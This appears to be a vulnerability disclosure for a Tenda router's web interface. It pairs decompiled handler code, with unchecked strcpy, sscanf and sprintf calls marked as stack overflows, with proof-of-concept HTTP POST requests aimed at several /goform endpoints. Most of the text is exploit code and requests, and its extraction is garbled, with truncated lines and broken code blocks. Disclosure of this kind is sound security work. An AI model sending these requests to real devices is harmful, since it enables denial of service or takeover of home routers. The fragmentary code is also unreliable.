

int v8[2]; // [sp+4Ch] [+4Ch] BYREF int v9[5]; // [sp+54h] [+54h] BYREF

```
v5 = 0;
v6[0] = 48;
v6[1] = 0;
v6[2] = 0;
v6[3] = 0;
v6[4] = 0;
v6[5] = 0;
v6[6] = 0;
v6[7] = 0;
strcpy((char *)v7, "0");
v7[1] = 0;
v7[2] = 0;
v7[3] = 0;
v7[4] = 0;
v7[5] = 0;
v7[6] = 0;
v7[7] = 0;
v8[0] = 0;
v8[1] = 0;
v9[0] = 0;
v9[1] = 0;
v9[2] = 0;
v9[3] = 0;
s = (char *)websGetVar(a1, "timeZone", &unk_4DDAE4);
v3 = websGetVar(a1, "timePeriod", &unk_4DDAE4);
v2 = websGetVar(a1, "ntpServer", "time.windows.com");
if ( strchr(s, ':') )
{
 sscanf(s, "%[^:]:%s", v6, v7);//stack overflow
}
else
{
 strcpy((char *)v6, s);
 strcpy((char *)v7, "0");
}
SetValue("sys.timesyn", "1");
SetValue("sys.timemode", "auto");
SetValue("sys.timezone", v6);
SetValue("sys.timenextzone", v7);
SetValue("sys.timefixper", v3);
SetValue("sys.timentpserver", v2);
if (!CommitCfm())
 return 1;
GetValue("sys.timesyn", v8);
if ( atoi((const char *)v8) == 1 )
  sprintf((char *)v9, "op=%d", 3);
else
  sprintf((char *)v9, "op=%d", 2);
send_msg_to_netctrl(24, v9);
```

```
return v5;
}
```

#### poc



# formSetDeviceName→set\_device\_name→sprintf(v4, "%s;1", a1);

```
int __fastcall formSetDeviceName(int a1)
  int result; // $v0
  int v2; // [sp+18h] [+18h]
  const char *v3; // [sp+1Ch] [+1Ch]
  const char *v4; // [sp+20h] [+20h]
  int v5[9]; // [sp+24h] [+24h] BYREF
  v5[0] = 0;
  v5[1] = 0;
  v5[2] = 0;
  v5[3] = 0;
  v5[4] = 0;
  v5[5] = 0;
  v5[6] = 0;
  v5[7] = 0;
  v2 = 0;
  v4 = (const char *)websGetVar(a1, "mac", &unk_4DEB84);
  v3 = (const char *)websGetVar(a1, "devName", &unk_4DEB84);
```

```
if ( set_device_name(v3, v4) )//stack_overflow
   {
     sprintf((char *)v5, "{\"errCode\":%d}", 1);
     result = websTransfer(a1, (const char *)v5);
   }
   else
     if (!CommitCfm())
       v2 = 1;
     sprintf((char *)v5, "{\"errCode\":%d}", v2);
     result = websTransfer(a1, (const char *)v5);
   }
   return result;
  }
set_device_name
 sprintf(v3, "client.devicename%s", (const char *)v5);
 sprintf(v4, "%s;1", a1);
 SetValue(v3, v4);
poc
 POST /goform/SetOnlineDevName HTTP/1.1
 Host: 192.168.0.1
 Content-Length: 264
 Accept: */*
 X-Requested-With: XMLHttpRequest
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 Origin: http://192.168.0.1
 Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
 Accept-Encoding: gzip, deflate
 Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
 Connection: close
```

# setSchedWifi→ strcpy((char \*)ptr + 2, v8)

```
int __fastcall setSchedWifi(int a1)
{
```

```
int v1; // $v0
void *ptr; // [sp+30h] [+30h]
int i; // [sp+34h] [+34h]
char *s; // [sp+38h] [+38h]
char *nptr; // [sp+3Ch] [+3Ch]
const char *v7; // [sp+40h] [+40h]
const char *v8; // [sp+44h] [+44h]
char *v9; // [sp+48h] [+48h]
int v10; // [sp+4Ch] [+4Ch]
int v11; // [sp+50h] [+50h]
int v12[2]; // [sp+54h] [+54h] BYREF
int v13; // [sp+5Ch] [+5Ch] BYREF
int v14; // [sp+60h] [+60h] BYREF
int v15; // [sp+64h] [+64h] BYREF
int v16; // [sp+68h] [+68h] BYREF
int v17; // [sp+6Ch] [+6Ch] BYREF
int v18; // [sp+70h] [+70h] BYREF
int v19; // [sp+74h] [+74h] BYREF
char v20[256]; // [sp+78h] [+78h] BYREF
char v21[256]; // [sp+178h] [+178h] BYREF
v11 = 1;
v10 = 1;
v12[0] = 0;
v12[1] = 0;
v13 = 1;
v14 = 1;
v15 = 1;
v16 = 1;
v17 = 1;
v18 = 1;
v19 = 1;
i = 0;
memset(v20, 0, sizeof(v20));
memset(v21, 0, sizeof(v21));
v9 = (char *)websGetVar(a1, "schedWifiEnable", "1");
v8 = (const char *)websGetVar(a1, "schedStartTime", &unk_4D7C58);
v7 = (const char *)websGetVar(a1, "schedEndTime", &unk_4D7C58);
nptr = (char *)websGetVar(a1, "timeType", "0");
s = (char *)websGetVar(a1, "day", "1,1,1,1,1,1,1");
v1 = wifi_get_mibname("wlan", "enable", v20);
GetValue(v1, v12);
if ( !LOBYTE(v12[0]) )
  strcpy((char *)v12, "1");
if ( atoi(nptr) )
  sscanf(s, "%d,%d,%d,%d,%d,%d,%d", &v13, &v14, &v15, &v16, &v17, &v18, &v19);
SetValue("sys.sched.wifi.timeType", nptr);
ptr = malloc(0x19u);
v10 = atoi(v9);
```

```
if (ptr)
   *(_BYTE *)ptr = atoi((const char *)v12) != 0;
   *((_BYTE *)ptr + 1) = atoi(v9) != 0;
   strcpy((char *)ptr + 2, v8);
   strcpy((char *)ptr + 10, v7);
   for (i = 0; i < 7; ++i)
     *((BYTE *)ptr + i + 18) = *(&v13 + i) != 0;
   sub_461D5C(ptr, 0);
   free(ptr);
   v11 = 0;
 }
 CommitCfm();
 if ( v10 )
   sprintf(v21, "op=%d", 1);
   send_msg_to_netctrl(62, v21);
   v11 = 0;
 }
 websWrite(
   a1,
   "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCac
 websWrite(a1, "{\"errCode\":%d}", v11);
 return websDone(a1, 200);
}
```

### poc

```
POST /goform/openSchedWifi HTTP/1.1
Host: 192.168.0.1
Content-Length: 102
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gec Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wifi_time.html?random=0.05230918147386965&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251aoccvb
Connection: close
```

# fromSetWirelessRepeat→sub\_45CD64→sub\_45CAD8→sub\_45BB10

```
if ( strcmp(v14, "none") )
   if ( strcmp(v14, "wpapsk") )
     return -1;
   v13 = (char *)websGetVar(a1, "wpapsk_type", "wpa&wpa2");
   v12 = (char *)websGetVar(a1, "wpapsk_crypto", "aes");
   s = (char *)websGetVar(a1, "wpapsk_key", &unk_4D72FC);
   if ( !*s && strlen(s) < 8 )</pre>
     return -1;
   if ( !strcmp(v13, "wpa") )
     strcpy(v20, "psk");
    else if ( !strcmp(v13, "wpa2") )
     strcpy(v20, "psk2");
    }
    else
      strcpy(v20, "psk+psk2");
   if ( !strcmp(v12, "tkip&aes") )
     strcpy(v21, "tkip+aes");
   else
      strcpy(v21, v12);
   v6 = wifi_get_mibname(a3, "extend_wpapsk_type", v18);
   SetValue(v6, v20);
   v7 = wifi_get_mibname(a3, "extend_wpapsk_crypto", v18);
   SetValue(v7, v21);
   v8 = wifi_get_mibname(a3, "extend_wpapsk_key", v18);
   SetValue(v8, s);
  }
```

### poc

```
POST /goform/WifiExtraSet HTTP/1.1

Host: 192.168.0.1

Content-Length: 247

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gec Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

```
Origin: http://192.168.0.1
 Referer: http://192.168.0.1/wifi time.html?random=0.05230918147386965&
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
 Cookie: password=1bbd886460827015e5d605ed44252251fsacvb
 Connection: close
 wifi chkHz=1&wl mode=wisp&wl enbale=1&country code=CN&wpsEn=0&guestEn=0&iptvEn=0&wif
fromSetWifiGusetBasic
```

```
__src = (char *)websGetVar(param_1, "shareSpeed", &DAT_004d83a0);
  strcpy((char *)&local 124, src);
```

#### poc

```
POST /goform/WifiGuestSet HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 531
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gec
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: password=1bbd886460827015e5d605ed44252251tyacvb
    Connection: close
    guestEn=1&guestEn_5g=1&guestSecurity=wpapsk&guestSecurity_5g=wpapsk&guestSsid=Tenda_
549 lines (494 sloc) | 17.6 KB
```

### formSetQosBand

```
formSetQosBand→set_qosMib_list→strcpy(v8, s);
  int __fastcall formSetQosBand(int a1)
  int v2; // [sp+30h] [+30h]
```

```
int v3[8]; // [sp+34h] [+34h] BYREF
char v4[256]; // [sp+54h] [+54h] BYREF
int v5[8]; // [sp+154h] [+154h] BYREF
int v6[8]; // [sp+174h] [+174h] BYREF
int v7[5]; // [sp+194h] [+194h] BYREF
v3[0] = 0;
v3[1] = 0;
v3[2] = 0;
v3[3] = 0;
v3[4] = 0;
v3[5] = 0;
v3[6] = 0;
v3[7] = 0;
memset(v4, 0, sizeof(v4));
v2 = websGetVar(a1, "list", &unk_4DEB84);
unSetQosOldMiblist();
set qosoldMib list();
unSetQosMiblist();
set_qosMib_list(v2, 10);
int __fastcall set_qosMib_list(const char *a1, char a2)
{
  char *v2; // $v0
  char *s; // [sp+24h] [+24h]
  const char *v5; // [sp+28h] [+28h]
  int v6; // [sp+2Ch] [+2Ch]
  int v7; // [sp+30h] [+30h] BYREF
  char v8[256]; // [sp+34h] [+34h] BYREF
  int v9; // [sp+134h] [+134h] BYREF
  int v10; // [sp+138h] [+138h]
  int v11[8]; // [sp+13Ch] [+13Ch] BYREF
  int v12[4]; // [sp+15Ch] [+15Ch] BYREF
  int v13[4]; // [sp+16Ch] [+16Ch] BYREF
  char v14[256]; // [sp+17Ch] [+17Ch] BYREF
  int v15; // [sp+27Ch] [+27Ch]
  int v16; // [sp+280h] [+280h]
  int v17; // [sp+284h] [+284h]
  int v18; // [sp+288h] [+288h]
  v7 = 0;
  memset(v8, 0, sizeof(v8));
  v9 = 0;
  v10 = 0;
  v11[0] = 0;
  v11[1] = 0;
  v11[2] = 0;
  v11[3] = 0;
```

```
v11[4] = 0;
v11[5] = 0;
v11[6] = 0;
v11[7] = 0;
v12[0] = 0;
v12[1] = 0;
v12[2] = 0;
v12[3] = 0;
v13[0] = 0;
v13[1] = 0;
v13[2] = 0;
v13[3] = 0;
memset(v14, 0, sizeof(v14));
s = (char *)a1;
v2 = strchr(a1, a2);
while (v2)
 v6 = 0;
 *v2 = 0;
 v5 = v2 + 1;
 memset(v8, 0, sizeof(v8));
 strcpy(v8, s);
 if (v8[0] == 59)
    sscanf(v8, ";%[^;];%[^;];%[^;];", &v9, v11, v13, v12);
  }
 else
   sscanf(v8, "%[^\r]\r%[^\r]\r%s", v14, v11, v13, v12);
   v6 = 1;
 if ( atoi((const char *)v13) || atoi((const char *)v12) )
   if ( v6 == 1 )
      set_device_name(v14, v11);
```

这个参数长度不加以限制还会影响set\_device\_name

### poc

```
POST /goform/SetNetControlList HTTP/1.1
Host: 192.168.0.1
Content-Length: 791
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gec Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

```
Origin: http://192.168.0.1

Referer: http://192.168.0.1/net_control.html?random=0.0444079600832199&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: password=1bbd886460827015e5d605ed44252251aticvb

Connection: close
```



## setSmartPowerManagement

```
nptr = (char *)websGetVar(a1, "powerSavingEn", "0");
s = (char *)websGetVar(a1, "time", "00:00-7:30");
v4 = websGetVar(a1, "powerSaveDelay", "1");
v3 = (char *)websGetVar(a1, "ledCloseType", "allClose");
if ( nptr && s && v4 && v3 )
{
    sscanf(s, "%[^:]:%[^-]-%[^:]:%s", v7, v8, v9, v10);
    sprintf(v11, "%s:%s", (const char *)v7, (const char *)v8);
    sprintf(v12, "%s:%s", (const char *)v9, (const char *)v10);
    GetValue("sys.sched.led.closetype", v13);
```

### poc

```
POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 803
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gec Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/sleep_mode.html?random=0.7222154127483253&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251csvcvb
Connection: close
```

# formSetFirewallCfg

```
int __fastcall formSetFirewallCfg(int a1)
  int v1; // $a1
 int v2; // $a2
 _BOOL4 v4; // [sp+20h] [+20h]
  char *s; // [sp+24h] [+24h]
  int v6[2]; // [sp+28h] [+28h] BYREF
  char v7[64]; // [sp+30h] [+30h] BYREF
  int v8[2]; // [sp+70h] [+70h] BYREF
  char v9[64]; // [sp+78h] [+78h] BYREF
  v6[0] = 0;
  v6[1] = 0;
  memset(v7, 0, sizeof(v7));
  v8[0] = 0;
  v8[1] = 0;
  memset(v9, 0, sizeof(v9));
  s = (char *)websGetVar(a1, "firewallEn", "1111");
  if (strlen(s) >= 4)
   strcpy((char *)v6, s);
```

#### poc